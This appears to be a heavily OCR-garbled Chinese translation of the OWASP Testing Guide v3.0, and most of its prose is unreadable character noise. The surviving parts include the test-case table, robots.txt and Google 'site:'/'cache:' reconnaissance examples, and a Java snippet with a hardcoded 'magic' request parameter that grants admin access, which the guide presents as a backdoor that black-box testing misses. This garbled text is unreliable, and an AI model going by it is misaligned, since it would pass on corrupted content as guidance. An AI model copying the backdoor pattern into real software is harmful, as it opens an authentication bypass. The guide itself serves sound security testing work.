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T2 o G N T BPMSRL ol A T S B DAL T BcAT IE R B R 2 73 [12]

KB 2 ) AR R AT R B o
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AR T B A — DL, AR TR0 A WEB N IR > b VS AR ) e Ar AR 22 42 nl jB. VF 2™ B 2242
WA BERAT AT eI A A s I 2o AT R0, “ QRO AESNIE PR B L™ W, 05 BRI
Wilite 7 JUFITA I 2L K800, BEAAERAIN 55 T LA . JLP A £ 6 2 4 i AR IR 5
ARG o 5 0PI AT IR S =7 8, IR E R GE AT IAAN ], ik Web N R RE PRI CRyZ2 SR AT 2
58 A E D PRSI H e — S8l TRl ki T S A e A, Gl R e B A,
CEAUIZ M R FHE ORI XA AR DA A P A G S A BORAN T A AR i A o I3 a4 Qe 52 T LA
HERAAINTR ARG S 2 i (BN A, THER T AR &I OSSR . AR S e A7 A TR BT
gzl WA, AT SREE SR, Dr IR, IR AL e, R, RIETRE, ERE
s, AR, AILETEARE AT XL RE Rt rPAEAE R DA A7 F AR o JRACES 20 T A 4R REAF
FERPAT L, B RS B4 A S8 U X T AN BEAT A T BT T R RO A R . (B2 R4, kg%
PRE FIAE AT ML A, DSOS A o B P G mT g 55 Bt Ak © e A B PRA RS AN — #F [13]

PR
o EEENENA L
o R
o PUHE (O HATRBEN IR EHF)
B
o HERMERANLETITRE
o HHERHIIAAAE T C O IE U IO Y )
o TEHALIMEEAT I A A R R
o IUSHBATHET R YRGS T BE S AR C A I PRA GRS AN

TR TS H AR E 2L, &l OWASP ARFY B AIRH .
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e S ilUREY
Biid

BENRAE N — A2 2 el AR B 2 4. E B ko) BB G i BUE 7 A\ 12 (Ethical Hacking). 123
WARAEA T Lo “2ZAR” , AEAFHE N BIZER NP A S KR OUT, W IEAEAT N AT i, Rl %
il T, BB BN B A R T N AR e BT o U T B i Bk T, BB
FFMM % aiwiil. WHEELT, WKEEE MR RGK) X WS, B CgarylZ —fE
WA T-Be, SRIMTZBAR NI H A A R AIRE N A R TB BN, K2
AR, ARG R AR CAnRI AR ] . web RS L8 4e i, X Web N HIEAT2@E A
HRRAPR T BRCZLIT MK BAGEEN TR, (HE, B0 Web N HIFER PR B I H AR
%o VFZ NS R Web N HIREFHEZ MM EE 2 amEoAR . BRAENKE RS, HEEsiT e
H, BRI, FATAUN E A 1 2 T2 sE— A R . Gary McGraw (14102 & AT T 604, Akt
U AMBIEN AR L, REE VR SAT DR AR R TEE N, RARRE R A
AEFWALF R o AR, ARAZEINS CHRE A 2 Bk A BL ) AR RS D w] P R R S 1 2 4
el QB AR W i R 1 PR

PR

o W LVPRIEREAT CIAUEAETED

o HEBARIIEIRE, A TIABS LA

o BRSERRIRER A (PR BIRSERRE AT IIRE)
A

o BRAEIT R A i S SYIRE 30

o DUBGIHI FE R

I A 0 7 3K

BEXS WEB NI 24K, AT Wt 2 MER KOk, TR AT IR FhEORBEA TR . 2290380, 1k
WO — A B A ] TS Z AR R AN 2 7r o S b, P IEORHR N %4508 2R LA DR T i ZE DK )
FI#R O genle E0E, 05 WA A AERE— Al i — RO R] U i 22 i 025 5 T LB DR BT AT F1 [ el 47
g 3. fEUE, 2 A RARBGSEN GOX — MO i, BARSIENAAE — e R ERA W HME, H2
ANRERS S B ITAT it ZER IR L JF R TJPE I A L iy TN 55 BB KL TR AR K . IEA R R R
B LR, R N A B ARSI e I 20 Wt DR 762 ol BV BRAE T A A i B AR 2N B X5
T2 T DURRAE 4 1 PR A P DT A i IO B BOV A — Bl B R . 48R, AERCSSI R s o0 R, — ARl
ARWEAFTRERS: B0, BExt WeB NI BRI aHER 2o gt ar, (HUE P BCRIBA TGV WEB IS . EIX
FEOLT, BB R AT SR, FA TSl il AT A PR BB, BE A AN RESRIGIEACAS I, IRRILE

25



AT AT o P E AT, X T2 R E, B R Y A BRI S . R Ik, 3RAT
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V2 AL sl C TR ] B30 WEB T FH%: o BARARATT H Al Sl 2 0 BE i), (R ATy B aiif—
SEt i ) DA 2 AT CAAY AMEAE BRI A R . T s X2 ) 8, BT IAN i ] WEB [
M. sk, FAIFT U AR BRYE N 478 70 1%, [R) IS R 24 e 3l I UHE S . V. OWASP H T E IEELT)
TIPR—A WEB W 2 i & . T e R0 AT £ A s R &I AZE

% 1: magic 2%

ARG — AN WEB N R, 5% “magic” BILAFR, RGIRME. @SN T, Get ik nlfE A
htto.//www.host/application ’?magic=value

N T BB LA B2, XA R P E L RE R ASCH T a -z (KRG BU/NG ) BLACHES 0-9. i FIFE R I et 7
IS T A EETT, RN AR Qg e N B i A fE

“sf8g7sfjdsurtsdieerwqgredsgnfg8d (30 NF4F)” Al AT AT 6 il O BEME X M 3047 58 x4l HTTP iR
I

http./www.host/application ?magic= sf8q7sfjdsurtsdieerwqredsgnfg8d

FREAILE I SHHGZ TR 20 3N TAF, ARTBITATEINRL) 28 NPT . — A web N &4 7 2
By (BUHAD DEfRREE 30 NPT OGS ] ik 30 A 28 FHHES, 7ML HTTP i3k | e — M EHFHUT
KIFPFEE U XA magic ZH U A& i e R W FPIR:

public void doPost( HttpServletRequest request, HttpServietResponse response)
{

String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;

boolean admin = magic.equals( request.getParameter(“magic”));

if (admin) doAdmin( request, response);

else .... // normal processing

}
WIS A, %59 s b S 80% T AE A 7] f
B 2: InEE TR

WA Z N T Web BFHFER . ATLVARG,  JF AN B3R E SRl ] B 1K) B 27 S0 AORt P Al 0 A 21388 11 B
AT HENIE. TR AW AR o, R G200t i A, Al sl 4= — 4R A MDS %71 (Hash) b 41
)]

g
AT SR, S AL “Hash (H % )7

f
'T
M E B, AR PR LU ] AT R KB OE T HTTP AL AL S A B 3l il B I A THA Hash
B, JF HAHE SRR Hash AEHEAT HUE . A RARATVCHS, il il B WA FRZ N ) ARG o AT LU 2 F

B, BIEAVERERDIRE, 2T REPAT R B I e N W e ] oF SR (sl it VR e st s VR i, Bl
M Bugtraq W EL#E N AN R), AR BEAE D VAR AT ok XA AT T TR A, Bl bk, Rk
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MR R X A . R Web N HIRE P4 4 v BEVCIR BN RO hash (R A AR e, (HE I
ASBETTIN L Az 15 3K

E: RTHSEAMEETLR

VP RSN IThA 60 FT IR D Rt g, UERFERE, Z5a MK — AN R, HRA—@ AR, A,
BATVBZEZR M AARA ) JBURE 5 PRI il AR TN, DA A BA AR X R T A . SIS ot
FERTF AN ATREPA R R R TR, RN EAR AT e T MR T A AR A B R 30, IR A T B SR LR B T g i b i
M- B2 e in A R, PR ERF T T EMmATTESE 2.

o4 R HE T

IR RAREAT AT H AR ZERENRH H A2 4. X8 H K e Bk . IXE RIS 7
A et AN P AR DULAT BRI A S PR P R 4 3t 2 4l F il e 2 42Kk . Bl ie 2 Tk
AT A7 RHAE SDLC Y TR) A4 22 4K, i A5 FH 22 i 56 50 A7 O AL PR A 22 4 AU

WHR H I

2N H 2 — i e e i O — AR ] . “ Aok SCkiIR T AR IiRe.  fERKP
PR, X ERUE W B AR 55 (L e SEAEPERT IR 55— H I e P i AR AR D BBAT 58 R A 1
DUN 2R AR SEIL[R g9 20, G OWASP 1R IR AN Z i 75 SDLC 11R) HEAT 22 VPl Frafi A i, 1) Gk
PEU AT, S T NS

TeHE RIS

GATORICR— B R ESS TR — AN TF K SCRRBEESE (i IR TR = 7K1 1R FH P B EE D R IR B R
folan, SRR A H BB T RLA R B A il I 55 BONTE AR 0 i H sk B DGR S o ARl K 1) 22 42 350
53 N5 H IR 75 BRI s B I HAF & nl ol () 22 4SOk 2k, Bl in Z5fE (Regulations) . Axifk
(Standards) FIE( 3K (Policies) »

AN EE N ERE, PR EABCRE PGS YIP I Web N G MPE M. B0, AT LR R A Ak AR T A R
AN FIIZAT /288 (V1 K s MR BORAAE A AT B fE o b Se G A w0 B R BV A 2 A5 B DT s 22110
T BORER A BT i, AEWFBUN S SLR, REM FRIEC 45 B AE )y 1 L1651 2RI BN LR 228641 2 J2 4%
TR 22 DA 22 VAR Lh E K A R X 58 DA IE (A1 R FRY) U

FIE ) 2 alb AR AR B il SRR A ORI g . BT, AEARBRIEUR G R EE I R AT BL T, R PCT
DSS [16 AN FrtfEZE 1L PINs AT CVV2 Bl i, I HLEESR 0 Tt s 47 felt A% A O 8 o (K VA Ry i 2 Kb
XAEIE I AR 4347 PCL DSS 2 A ZER A REA 2K

T BRI N 0 o IO 45 5 ZH AU R e AR E RO sk . DI BEEESRORTE , il 2Rk i 2 AEH B
LANRE RIS RAREAY AT SRREERH] R Do i N A (AR R 58 R AT N A T
BEoEC - P AT IR IR o 2 A BORAAE TR iy, 22 A DN RERA A R B 5 PR RS o R A B
B B bR ERBURAT A, 33— Lo Rl 1 sk T LA BEIR RS (B, Kb BE) o Uk, RORIX e 4 4 HvE 2L
SROEATHATHY S AbAT T 2 5 22 A — Il SR AE ST AR AR .
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ZEFTRKAE

MR FRE S LA 22 AR R A e ARk . (R MRS A R, BN LR HR S B LA VPl 1)
Hir. MESERFEIE, 5 RN EEHRENZ eGSR, flanehZ SRR, S s
Hille IR, LRV R B BT, a0 7E A il b 4R VB e 1 59 RO R UIE T 20 OR 3R, e s kAT
k. B, SN AEE T AN ARG EME S (Personal Identifiable Information, PIT) FIBUREHE, %
AR S A N T R 2 A TR ) LSRN IR B AE AR A I R b i . in 200 T IR Edis w4, R4
TN SR P S TR AT S A SV B bR . XV 2B SR L REAT ] SE 8 S RO R K B . i, feidlid 24
MR — 4 2R BR UL . JURVFRIUE SN B FR FE R Sk (an, SRR K 2 I 128 A7 FIASKFR
LA 1024 £7) o (41, SHA-1. RSA, 3DES 53%).

MZAVEL R, 5 SDLC ISR B, A8 P AN FR] Ak A5 VA REIE S 22 A R e o, e B 75t
THBTBCRE VU & A, 2 A ARRE 7 B AN HE A e A A R BUAE ARG i A B 22 A il 7L, 2@ M REAE I /A A I
75N B BEA B -

. SDLC B B A I AR 2 4 il Ly BEAE A TH R P s ok, DAREREAE I 22 AU uIE Sk e 2e Ax il it 45 &
FAT IR BA PRI EE R, R 2L 1 2 GG, RN 2 e R AT, flan, S B iE il
ARG BT G5 SR BE X 2 FE AR IR AR B . Bildn, 75 7 ¢ 2 SQU FE AR 2 sl n, il nlag
ST N AR R R LR TR o B AE SQL AEANIRTAAE (5 MIEHE 25 T SQL exception, Bk 254l
SQL I il L 17 7 EEA T LR A B vk B U B Dtk ER 1 SQL Al vETk. IR VFeG 2 2 Ik I S lie 7 At
HRREERAEWRHRAT b W RAFE AT AN, dbol e AR 2 A Hh o ey s A BRI 1Y) SQL Zeekr gk Cln
PAT B AW BRI R RIN LU .

JBHP AN 55 73R A5 18 T 55 )™ AU, SRR e AR A B, GRS RTEE R B Dk, A L IR T
LRI DG . A5 Web NI ZGIHR, A1 Il I K 2 4P & Bt, W1 OWASP TOP Ten, JE3RFG ML A TR
W= ADUFRIT G . A, web N H] 22 MERUR O TIRTR A 7238, LUERESZ AN 45 s AbR v iC 80X 28 )
T, FELL A 2 2l o BE A A IZ 2R o

JE RORT SR 53 S TR £ R AR B R 5 s (PR DR e e A sk o g il LA STRIDE 4325 (181, fildn, HkGh
(Spoofing), & (Tempering), 7Fih (Repudiation) , {5/Ei%EFE (Information Disclosure). fH#iJR%s (Denial
of Service) FFFBUIET (Elevation of Privilege) o 55 mUCIAIRT LAoy e vk B BE I 24w, duhd b B i) & 42
/P10 N o L T L O 7 PO b gy U A S K0 o P ST R = 6 1 N I G T Y <9 S P N =y e o
Tz HAHNIE . A BORIEAA BT o1 A BORAF A vl By, JFARVFIE oM SRR (B BARIAUE) o T Le
X R REAE 5 R ) 22 A A P 45 20 A

585 R YR AN SR FE AR REI THC R R T L AL 2 BRI, LA, ARSI b 3L R g
BRI ] Hash DHEEINS MY, A seed SN MEL. IS AxGi b A BER K, IR TR FH G 5 v (1 s i)
PN T OEINE o BEARISTFEE R e AN 22 4, SR AE 2 g hid B0l 72 SDLC A JERT B
BEAT 2 A g b T AR A

TP R 7
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LA E G IR 99 AU E A T SR A XU SRR SR o R B GEd—ANE N ] AR G b A3 s i 2
Pare, R JeilaniE, A bl DOl A, ik, SEMAR AR ORI MUR B EA T A BN ] R g0 .
FEREAS SDLC ERE A, RXHE R I N 2R W] DAt 00k 2 A N K AT 2

B, 55 BRAE R, W SQUIE AU L AR ST R0, I FLIFTAR R Gt LA DR R o A B 4 s
e AR AR LB VS E MAPPAE ], REAJLAS sQu v NBGE R BN A U XA e 50 UE Ry ik
FREAEBR B 2 Wi o g o W 2 SRR A T RIS BN, A rT BB 59 s AR AL e R, R
H 55 S U A 2 o I T AR T S A R T B 5 XU AR G (s IR T ) i ] RE R SR HH S A . i, e A
5 DS T 75 LSS A A AT RS PR dh el U A B £ B A P A b

T8 I R P 08 99 AU e A Wy 5 RN TR BT e AWK B R P e el B AR AR . Leln,  OWASP 44
BT 55 T LAY G B S50 an: 294 (Phishing), 1255 B2FA (Privacy Violations), &3 75 %7 (Identity Theft). &
ZER IR (System Compromise) 8 B Al # e dn il IR . i 2k (Financial) o 44 25 5 2K (Reputation Loss) . X 28 {: Y
AR T R )85 o AR RS B2 A AN 55 SNy, v UMY AR — R BN AR B I 5t BAE b,

LA 59 s R R] DI I SR 2 4 XURS B s R 461 >k 50 10F e vl Be R Bk 7 8. i, SR s F S il
DS, A (Negative Test) /7 St BE IR R A4 L a0 AL IR AT AN A2 1l A5 Q0T PR s 7] 117 2 0 52 0 PO 28 A0 7

o

1]
ES

Dy e AN Ak o me il i 3k
iRtk

MIIREZ A ZORM LB, & bRUE, BORME B BIES) T & AR R A TR A ZEHI DhREME IO A g, XL
SR AR IR ER” R A P 3 X P A DhRENE w7 DL 22 IS IE, 1E KRBT« “6
UOFEFRMG, MARGBUEM 7, s S inmisn b 6 NPT, TRECT ALY o IR ER AR kT
H PO DIREALK, & ReAE B AR A AF AT IF AR FUE SR A AT I 5 PO A s ol “ %k
W/ IEH 26T

N T ZA KRB 2 I, 2T RAIUE DIREIREN 1, IF H R U DR (A ) LB i S Bt (i
rfie).  FHFAIER) M 2 e vF 2RI Bl 1

o DRI UEAE BRI A b ORI A R R

o EDLSCEGHT AT DR A5 BLAD, i, k)T

o AfEEHEMBRRME, BOEH KT

o P ESRARWUEA B BRI

o FURVFRIA i TR OF HA SRR T AT AL /D S AS T RF IS, DLBRAI M 2 1
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o P EBMEN, WIUELIHEM., Brsid, G m) @ el 2 g6aus, PAsE 1LE S S8 E S h ge X = 6G
4T 55 4% (Brute Force) 48 &R Bt .

o RN EEINREN, RGUR I a0 AL BIIRTR E (KIMBRE L BT, B0 F ™ 0 IR £30 Y 42 R0 IS e
ke iz A L BEAE P — e — AN 0 HE R 1 W DR Ak g ) o B ) TR I N G R ) A
IR, BT, DA X s it e g ]2

R IR BN B 22 4 /5K

AN TR Z AR B, WA TR AR AR PO A4, XS “ SO 2R, R A THE e
ARG ARNAZML,  “ANAZAL () ZR 65

o WHRGA RVHE LRI
o WHARGA VAR s oG T AR AIER GRS 2 55

P EERFAEMK, KA HUWIIAT o R BR—AN id o0 A S BER N AN AT FUR A A& AR L IR SE
Wi, 30 S 22 AU Hh B S T 1) DA 20 BT s AR A, B 4 4 5 SR SOR AR R P T e o — %
A2 ETR, B, EDAERERROTE LT, U 22K nT DO R LR i E 4L Sorife

o INEAEALEAAE AR P A ESSE, AR B R P E Y B R S R

o BT B R 7 SN AR, AR AN 2 (digest) (W1 HASH) F1—MFh 1 (seed) B Ik Bl
o TEIRE|EHCE IS S RUT BT, B iR A I 5 A PR G A 5 218 T A F XU

o TESUMGIER RN SR A IR RAE L, LA RRIK P BOdiER/ S A

o ARG AR ELIERT 1EAEA AR R (Man in the Midle, MiTM) %t

BAT BRI T, 40 BB (threat trees) MIBiTi % (attack libraries) 14 H A R SR R —A4
SRR B — AR BCGE (WY, Bk vl BE SR B e P A5 BN ), AR TR ISR RS [ 0 1 22 A 4 Hhl1 2 A8 (1)
W, T sQL A A IR TS 25 56 I S0 ) A Db L R TR e (19 s SIS B0 U AN S B A i) (parameterized
queries)), IXFEMUHHEA R LRI Fh Lt .

24 i SRAE AR AR T A AR

FEAIR Y ] AR GT D BEZ R AL 20 T AR A2 AR GERE ORI X (0, (SR o IX 80T LU 1) 18/ S0 T i
Blo ARG, AR TREP R CEBE A, R A& I T S TR, W B UM N R e b AT
BHO KA BT AT N BAREE R AR PERIAT s R BRER, RTINS AT AL T RERI B, SRR
M ZE A (191 B I R G P AR T RIS B AT 7 %6 XSGR SRR AN 7 SRR B B UR RN
HMIARGE . TR v A B0 (120 BT 025 2 U e e A A At RE A AR AR i SCIF A9 3 T A H AR
ek o REERIRPTA I RENE, B DR e AL TR Ty 5. SR G P SRV NIBEee 2 RO s 20 A 1
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o 20 MRVIRIE R NN RS, BuliF g s UG R S KT R I AR E . ek
ORIWCIS 4 (16 By HLAR AR B 0T 2 BRI IR LRk 7 SE B T SR RTEM I () 48) . ARG . 9328 Bl fig
FEAT BRI CECA BRI RS 2220, MU B aalaE 55 28— DS IR Ik i E i . 93 28 ML B e IR IR
KA BRI A 4 T EC B ) A A7 R

o 30 TEATH ARG ROR SRR R AR NS e - AR TR, RoR T Al A S AT AR
GER . DURENE SCeLHE AT (BN TR 4 MR B ) R N AT D GAIE P BRER AT RIG(E ). 3% 1 1
CAEBGEFEAT N, B BRI A 55 AR A A ATCBOAIE I SRS R A5 R S5 I A O H
S % I AR T LU I A T REIE R P (R AT, A AT RE A X B it 22 A0 N A T Bl R e K
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o WHAW: LRAEFHREL - EXMEIT, WL T IMER L 2K

32


http://www.owasp.org/index.php/Image:UseAndMisuseCase.jpg

OWASP iR FE T v3.0

1) R AUE TR CRANE) A 4L B4 745 DU R 745 SR 41
2) sz LS, Tk BE

3) B RIAE EARAR R

X7 A BOR TS ECR AL Fn 2 i
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MITR AN BEER, 24l R 15 R A AR BT A R AR 2 e g A R Fr AR R EEK . TR 5 A L 4
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C el Http 3k, 280, cookies) o {7 EMCHR AT ELAAMRE 7 Wi AT sk, thin , Il i
AW HEE:

https.//www.example.com/login/Authentic_Form.htm/
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NS B R T Xk g N
htto.//www.example.com/Appx.jspa=1&b=1

EXFESL R, NHERWT 2AMEE (Z8a flb) I 7R BORILAEE R T — AN .
— AN H TR R LU BT 8 RO T2 AN B AR AT Y

o BB XA WA A IR I TENRA o AT 9 A TR R IL 66 AN A
o CEFEHMIA

o N IHNIL

o AUEMIR

o ALK

o UREFIIIA

o KR e

o FHAEJRSSNA

o Web %I

o Ajax MR,

TEAAVEE AT RIS -

OWASP-IG-001 Spiders, Robots and N.A.
Crawlers -

OWASP-IG-002 Search Engine N.A.
Discovery/Reconnaissance

5 Rt

OWASP-IG-003 Identify application entry N.A.
points

OWASP-IG-004 Testing for Web Application | N.A.
Fingerprint

OWASP-IG-005 Application Discovery N.A.
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OWASP-I1G-006

Analysis of Error Codes

Information Disclosure

OWASP-CM-001

SSL/TLS Testing (SSL Version,
Algorithms, Key length,
Digital Cert. Validity)

SSL Weakness

OWASP-CM-002

DB Listener Testing

DB Listener weak

OWASP-CM-003

Infrastructure Configuration

Management Testing

Infrastructure
Configuration

management weakness

OWASP-CM-004

Application Configuration

Management Testing

Application
Configuration

management weakness

=g
OWASP-CM-005 Testing for File Extensions File extensions handling
Handling
OWASP-CM-006 Old, backup and Old, backup and
unreferenced files unreferenced files
OWASP-CM-007 Infrastructure and Access to Admin
Application Admin interfaces
Interfaces
OWASP-CM-008 Testing for HTTP Methods HTTP Methods enabled,
and XST XST permitted, HTTP
Verb
OWASP-AT-001 Credentials transport over Credentials transport
an encrypted channel over an encrypted
channel
OWASP-AT-002 Testing for user User enumeration
iAﬁE@UﬁNA enumeration

OWASP-AT-003

Testing for Guessable

(Dictionary) User Account

Guessable user account

OWASP-AT-004

Brute Force Testing

Credentials Brute

forcing
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OWASP-AT-005

Testing for bypassing

authentication schema

Bypassing

authentication schema

OWASP-AT-006

Testing for vulnerable
remember password and

pwd reset

Vulnerable remember
password, weak pwd

reset

OWASP-AT-007

Testing for Logout and

Browser Cache

Logout function not

properly implemented,

Management browser cache
weakness
OWASP-AT-008 Testing for CAPTCHA Weak Captcha

implementation

OWASP-AT-009

Testing Multiple Factors

Authentication

Weak Multiple Factors

Authentication

OWASP-AT-010

Testing for Race Conditions

Race Conditions

vulnerability

OWASP-SM-001

Testing for Session

Management Schema

Bypassing Session
Management Schema,

Weak Session Token

OWASP-SM-002

Testing for Cookies

attributes

Cookies are set not
‘HTTP Only’, ‘Secure’,

and no time validity

OWASP-SM-003

Testing for Session Fixation

Session Fixation

OWASP-SM-004

Testing for Exposed Session

Variables

Exposed sensitive

session variables

OWASP-SM-005

Testing for CSRF

CSRF

B

OWASP-AZ-001

Testing for Path Traversal

Path Traversal

OWASP-AZ-002

Testing for bypassing

authorization schema

Bypassing authorization

schema
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OWASP-AZ-003

Testing for Privilege

Privilege Escalation

Escalation
NS 52V OWASP-BL-001 Testing for business logic Bypassable business
logic
OWASP-DV-001 Testing for Reflected Cross Reflected XSS
Site Scripting
OWASP-DV-002 Testing for Stored Cross Site | Stored XSS
Scripting
OWASP-DV-003 Testing for DOM based DOM XSS
Cross Site Scripting
OWASP-DV-004 Testing for Cross Site Cross Site Flashing
Flashing
B &/ SATIR N7 OWASP-DV-005 sqL Injection sQL Injection

OWASP-DV-006

LDAP Injection

LDAP Injection

OWASP-DV-007

ORM Injection

ORM Injection

OWASP-DV-008

XML Injection

XML Injection

OWASP-DV-009

SSI Injection

SSI Injection

OWASP-DV-010

XPath Injection

XPath Injection

OWASP-DV-011

IMAP/SMTP Injection

IMAP/SMTP Injection

OWASP-DV-012

Code Injection

Code Injection

OWASP-DV-013

0OS Commanding

0OS Commanding

OWASP-DV-014

Buffer overflow

Buffer overflow

OWASP-DV-015

Incubated vulnerability

Testing

Incubated vulnerability

OWASP-DV-016

Testing for HTTP
Splitting/Smuggling

HTTP Splitting,
Smuggling
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OWASP-DS-001

Testing for SQL Wildcard
Attacks

SQL Wildcard

vulnerability

OWASP-DS-002

Locking Customer Accounts

Locking Customer

Accounts

OWASP-DS-003

Testing for DoS Buffer

Overflows

Buffer Overflows

OWASP-DS-004

User Specified Object

Allocation

User Specified Object

Allocation

OWASP-DS-005

User Input as a Loop

Counter

User Input as a Loop

Counter

OWASP-DS-006

Writing User Provided Data
to Disk

Writing User Provided
Data to Disk

OWASP-DS-007

Failure to Release

Resources

Failure to Release

Resources

OWASP-DS-008

Storing too Much Data in

Storing too Much Data

Session in Session
OWASP-WS-001 WS Information Gathering N.A.
OWASP-WS-002 Testing WSDL WSDL Weakness
OWASP-WS-003 XML Structural Testing Weak XML Structure

OWASP-WS-004

XML content-level Testing

XML content-level

WEB fiR 5538
OWASP-WS-005 HTTP GET parameters/REST | WS HTTP GET
Testing parameters/REST
OWASP-WS-006 Naughty SOAP attachments | WS Naughty SOAP
attachments
OWASP-WS-007 Replay Testing WS Replay Testing
AJAX JU3A, OWASP-AJ-001 AJAX Vulnerabilities N.A

OWASP-AJ-002 AJAX Testing AJAX weakness
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4.2 15 Bl sk

FE AV A AN BOR RS AT REZ M1 5C T HAR I A5 R e A5 RS 2B B M b 20 3R . IXAS W] LR
EZLVIEE LK

AT R ($RR G5 3000 SOL T 0 http WK, B RRERI A (TSR, TR T RE AR A R Pt 5 6L . L
bt R R R AR B, SR DT A A A RAN S S AR

Pk, HLAS A FEH (OWASP-1G-001)

XANET B B i B, A R IR I F) B5

HRTI K K I/ 17 E (OWASP-1G-002)

HRGIEE, LR, BE IR AL A TT 0 5 ) 199 DR P 48 vy s 08 i 80 A 5% )
TIADLF (F13E N £ (OWASP-1G-003)

MW R B R N2 2 2 BT TS o 3 A AR B U A R S PR » b 97 ST A5 i
Hy Uk

AW 5T B A 18 8L (OWASP-1G-004)

B REURA BRI A o SIRCIE 17 SO 26 8ONG5 A8 SN 4
TR

i & PH (OWASP-1G-005)

BB BRI web I 55 & BN HI AR 55 2% 0 ERLAI R GO O HARBIAT SN 1355 6 1 5 220 BT LI
Ry X HRAREZ R IO TR RA R B T2 2 H KRR . 53 5hae AR BLIR )3
PERRAS 8 TAF, LEmAEat, TP A sidi g i e b P AR R 1, AR EIIAS

435205431 (OWASP-1G-006)

FEBIEVE DU RE b, G0N it e 28 Js A AN AR 28 0 FH P 6 LIRS R o B DR S0 B RELE DN T A A
HIA RERN e ARZAEOT, BT RW AR ARG, R ATELATRREARR TR, #IRAES
fi A7 AR AR (0 2% AR AT AL A R AR

IRBIE, AT Rl S IF A — i ke T3 A 70 M 45 2 i) Bt LL & B 4
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4.2.1 P Wik, Hlas AFIE £ (OWASP-1G-001)

|

X FERA AT IR robots.txt SCAF. .

| S

D 2% ek /B gk AU T B SR AR 0T, S8 i Uk D A e ik — SD R SR I TN, AT W] 3252 BOAT U 7E Web HRH
3K AL 1 Jrobots.txt ST AGALES AN HEBRIM R AT PEAR B o

Z5AME) T 2008 4F 8 A 24 B M http://www.google.com/robots.txtthe robots.txt 5| [ S04 F

User-agent: *

Allow: /searchhistory/

Disallow: /news?output=xhtmI&
Allow: /news?output=xhtml
Disallow: /search

Disallow: /groups

Disallow: /images

user - agent WIFE T FRHD & BARBY M Wik /ALgs A /€ HL, B0 : Googlebot $5HIJE GoogleBot ML T B, 1] User-
Agent: * £ LRI BIF-45 ()2 B A7 N 45 Bk /pLas A/ M€ 2], 251a0F

User-agent: *

Disallow T HUE T ¥k/HLas N/ € AR AR, A& L p9fl7 4, T H 248

pisallow: /search

Disallow: /groups
Disallow: /images

P £ ek / B LA /AU T HL ] AR 20 robots. txt SCPEL 3 1w Disallow #8464y o Ak,
robots. txt MIA N AL A — P I AL 2 BRI AT ], A7k 58 =05 AR Web WA

03 S A
Wget

robots.txt LR fiELE Web IRZ52510 Web /B H 3¢ B, #ilan, R ZEM www.google.com 5% robots.txt, i
wget:
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$ wget http://www.google.com/robots.txt
--23:59:24-- http://www.google.com/robots.txt
=> 'robots.txt'
Resolving www.google.com... 74.125.19.103, 74.125.19.104, 74.125.19.147, ...
Connecting to www.google.com|74.125.19.103:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]

[ <=> 13,425 -.—-K/s
23:59:26 (13.67MB/s) - 'robots.txt' saved [3425]

Analyze robots.txt i i google M T & T H

AHERAE T —/ “Analyze robots.txt” DIRE, N “AREKIMEAE ELG TRA” , ERILABIINNA4]. SERUT
1ASHIA Ak B8 S B R I il 7 B Y TR

2GR, i R AR 1 3l PR D o

3.0 T H, #RJ5 il Analyze robots.txt .

IR A, B S 45

KA HERE 5 8 G A ] o

W
Q

HEH

e [1] "The Web Robots Pages" - http://www.robotstxt.org/

e [2] "How do | block or allow Googlebot?" -

http://www.google.com/support/webmasters/bin/answer.py?answer=40364&query=googlebot&topic=&type=

e  [3]"(ISC)2 Blog: The Attack of the Spiders from the Clouds" - http://blog.isc2.org/isc2 blog/2008/07/the-attack-of-t.html

e [4] "How do | check that my robots.txt file is working as expected?" -

http://www.google.com/support/webmasters/bin/answer.py?answer=35237
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4.2.2 R 515 I /i A (OWASP-1G-002)

KT

AT Ui BT AR aR SR A5 SR 5 | R AR SR A7 HH I BR AR S A TR DT P28

|

— H Googlebot ESERATR, B ELNRERAC R I AT ME2R5 1, aifff<title>, Al LLUKEIFHICH
HRER 1],

A robots. txt AFRALE M A RONN B, ABAANITEIINLT AL R GR35 N 2R A7 7T egoR ]
Ut AR MAT SR AT RS L -

R et
RASEHER) “ site : "RRIBHAT, A RERHYR R RBI B E 1K1 2]

WSO T IR “ cache : "RRIZFAF[ 2], HXEMA T R AE MR R G RFIA0 “47” o ik, #
RISGHER) “ site «  "RRIBEAT, Ramids “G7” LHk.

1f Google SOAP Search API 5 ¥ doGetCachedPage Fl#H% doGetCachedPageResponse SOAP V& [3]1, UAWhBIKGRELE
M T, OWASP “#Faf BER” T H IEFE T K. B8 245 KL £ ) OWASP "Google Hacking" Project.

S

LT R IRGEATXT owasp.org Pl A FR IR R, R T IR A i R A

site:owasp.org
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) site:owasp.org - Google Search - Mozilla Firefox

File Edit ‘jew History Bookmarks Tools Help
@v c (i | & http:ffwsens, google, com. aufsearch?hl=enig=: 7.7 - .': soogle ,‘-"

Ql Mast Yisited ’ Getting Started 2 | Latest Headlines
A

Web Images Maps MNews Yideo Gmail more v Sign in &

GOL)S[e Eslte:owasp_org |[ Search I »:dvanced Search

Search: @ theweb O pages from Australia

Web Results 1 - 10 of about 25,800 from owasp.org. (0.03 seconds)

Main Page - OWASP

Fram OWASPF. Jump to: navigation, search. Front_page_watchfire. gif. OWASPF does not
endarse cormmercial products or services - to buy ad space Click Here ..

https:dwwew. owasp.orgs - 42k - Cached - Similar pages

OWASP Blogs
OWASP Mavigation. OWASP Home - OWASP News - OWASP Projects - OWASP

Downloads - OWWASPE Local Chapters - OWASP Conferences - OWASP Presentations -
OWASP Video ...
blogs. owasp.org! - 5k - Cached - Similar pages

400 Bad Request

Bad Request. Your browser sent a request that this server could not understand. Reason:

You're speaking plain HTTP to an SSL-enabled server port. ...

wew. Owasp.org: 443/ - 1k - Cached - Similar pages v
http: /120985, 141, 104/search?q=cache: WUNMU-GwD:https:f .

BLR IR owasp.org 1) index.htm 2847, KA I a2 A if A2 -

cache:owasp.org

) Main Page - OWASP - Mozilla Firefox
File Edit Wiew History Bookmarks Tools  Help

@Ev c e |:: [ | httpjj209.85. 141 104/searchrq=cache:x Ij <. aogle 2

@I Most Visited ’ Getting Started |5 | Latest Headlines

-~
This is Google's cache of https: Awww. owasp.orgl. It is a snapshot of the page as it appeared on =
| 18 Aug 2008 05:02:55 GMT. The current page could have changed in the meantime. Learn more
Text-only version
2 Login ! creste account
article | discussion [ viewy S0Urce il 'his','tory
Main Page
Download
@ watcfi

AppScan® 7.5 Now!

i i CUASP does not endorse commercial products or services - to buy ad space Click Here
navigation
= Home
